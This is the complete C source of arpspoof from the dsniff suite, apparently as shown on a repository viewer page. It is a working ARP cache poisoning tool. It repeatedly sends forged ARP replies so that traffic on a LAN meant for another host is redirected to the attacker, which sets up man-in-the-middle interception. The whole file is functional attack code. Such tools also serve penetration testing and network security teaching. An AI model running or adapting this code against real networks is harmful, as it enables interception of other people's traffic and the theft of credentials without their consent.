blob: e829dc17d45c7166ee7e14a05c72270d70dd6576 [file] [log] [blame] [raw]
/*
* arpspoof.c
*
* Redirect packets from a target host (or from all hosts) intended for
* another host on the LAN to ourselves.
*
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
//extern char *ether_ntoa(struct ether_addr *);
#include "arp.h"
#include "version.h"
static libnet_t *l;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-t target] host\n");
exit(1);
}
static int
arp_send(libnet_t *l, int op, uint8_t *sha,
in_addr_t spa, uint8_t *tha, in_addr_t tpa)
{
int retval;
if (sha == NULL &&
(sha = (uint8_t *)libnet_get_hwaddr(l)) == NULL) {
return (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr4(l)) == -1)
return (-1);
}
if (tha == NULL)
tha = (uint8_t *)"\xff\xff\xff\xff\xff\xff";
libnet_autobuild_arp(op, sha, (uint8_t *)&spa,
tha, (uint8_t *)&tpa, l);
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, l, 0);
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)sha));
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
static void
cleanup(int sig)
{
int i;
if (arp_find(spoof_ip, &spoof_mac)) {
for (i = 0; i < 3; i++) {
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(l, ARPOP_REPLY,
(uint8_t *)&spoof_mac, spoof_ip,
(target_ip ? (uint8_t *)&target_mac : NULL),
target_ip);
sleep(1);
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
intf = NULL;
spoof_ip = target_ip = 0;
while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE));
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
for (;;) {
arp_send(l, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (uint8_t *)&target_mac : NULL),
target_ip);
sleep(2);
}
/* NOTREACHED */
exit(0);
}